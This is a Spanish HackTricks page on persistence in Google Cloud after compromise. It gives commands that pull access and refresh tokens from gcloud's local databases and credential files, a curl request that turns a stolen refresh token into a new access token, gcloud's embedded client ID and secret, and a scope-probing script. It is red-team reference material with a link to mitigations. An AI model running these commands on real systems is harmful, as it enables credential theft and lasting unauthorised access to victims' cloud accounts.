GCP - Non-svc Persistance

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Estas son técnicas útiles una vez que, de alguna manera, has comprometido algunas credenciales de GCP o una máquina que se ejecuta en un entorno de GCP.

Secuestro de Token

Tokens de Usuario Autenticados

Para obtener el token actual de un usuario, puedes ejecutar:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

Consulte en esta página cómo usar directamente este token usando gcloud:

Para obtener los detalles para generar un nuevo token de acceso, ejecute:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

También es posible encontrar tokens de actualización en $HOME/.config/gcloud/application_default_credentials.json y en $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Para obtener un nuevo token de acceso actualizado con el token de actualización, ID de cliente y secreto de cliente, ejecuta:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

La validez de los tokens de actualización se puede gestionar en Admin > Seguridad > Control de sesión de Google Cloud, y de forma predeterminada está configurada en 16 horas, aunque se puede configurar para que nunca expire:

Flujo de autenticación

El flujo de autenticación al usar algo como gcloud auth login abrirá un cuadro de diálogo en el navegador y después de aceptar todos los ámbitos, el navegador enviará una solicitud como esta al puerto http abierto por la herramienta:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Entonces, gcloud usará el estado y el código con un client_id codificado (32555940559.apps.googleusercontent.com) y client_secret (ZmssLNjJy2998hD4CTg2ejr2) para obtener los datos finales del token de actualización.

Ten en cuenta que la comunicación con localhost es en HTTP, por lo que es posible interceptar los datos para obtener un token de actualización, sin embargo, estos datos solo son válidos una vez, por lo que sería inútil, es más fácil simplemente leer el token de actualización desde el archivo.

Alcances de OAuth

Puedes encontrar todos los alcances de Google en https://developers.google.com/identity/protocols/oauth2/scopes o obtenerlos ejecutando:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

Es posible ver qué alcances puede admitir la aplicación que utiliza gcloud para autenticarse con este script:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

Después de ejecutarlo, se comprobó que esta aplicación admite estos alcances:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Cuentas de Servicio

Al igual que con los usuarios autenticados, si logras comprometer el archivo de clave privada de una cuenta de servicio, podrás acceder a ella generalmente todo el tiempo que desees. Sin embargo, si robas el token de OAuth de una cuenta de servicio, esto puede ser aún más interesante, porque, aunque por defecto estos tokens solo son útiles por una hora, si la víctima elimina la clave API privada, el token de OAuth seguirá siendo válido hasta que expire.

Metadatos

Obviamente, mientras estés dentro de una máquina que se ejecuta en el entorno de GCP, podrás acceder a la cuenta de servicio adjunta a esa máquina contactando el punto final de metadatos (ten en cuenta que los tokens de OAuth a los que puedes acceder en este punto final suelen estar restringidos por alcances).

Soluciones

Algunas soluciones para estas técnicas se explican en https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Referencias

Última actualización